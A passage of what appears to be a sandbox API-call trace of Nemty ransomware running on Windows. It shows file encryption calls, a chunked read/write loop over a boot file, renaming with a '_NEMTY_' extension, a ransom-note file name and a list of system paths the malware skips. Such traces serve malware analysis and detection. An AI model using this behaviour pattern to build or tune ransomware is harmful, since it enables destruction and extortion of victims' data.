WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.526] Sleep (dwMilliseconds=0x5) [0046.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf703290, dwHighDateTime=0x1d561e7)) [0046.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf703290, dwHighDateTime=0x1d561e7)) [0046.533] GetLastError () returned 0xb7 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.533] GetLastError () returned 0xb7 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.533] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0046.533] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0046.533] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0046.533] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="HqNNudTtImSwaiJ46OC7l7cXyyrqgt/CsUerA/VdHDZjPHOOSdT7/k9EvjwFpKdv\r\nQCfhkisZ4bTuT+rG75jHXbTbRgyCdA9eMX9Pp1xjLrnxxu+tpLYeJJQp3zrYnPvd\r\nkJmsc6cu3/j/LhStz1fy3NqdiTEocdAvmA+3xchpX9duTKHLx7mWbIyxgBEK+AZo\r\nCzQou0pin+xixU1gSWOeokCOs+9MBzM9ohvte4V4zQQSP1u4Nx7ozHM7B+9PkN8e\r\nFMsV9AWMyeW+pe8apI4FqaWGTTEv98pIguuJqmmAhJAzl3C+s8Dtxf+9T+VUlupI\r\nMj3uvTpOHYDnG0SNYtJsDg==\r\n", pcchString=0x653f2dc) returned 1 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0046.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0046.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0046.533] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.533] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0046.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0046.534] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.534] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.641] CloseHandle (hObject=0xffffffff) returned 0 [0046.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.641] MoveFileW (lpExistingFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0046.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0046.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.642] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf6dd130, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf6dd130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf6dd130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.642] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.643] HeapFree (in: 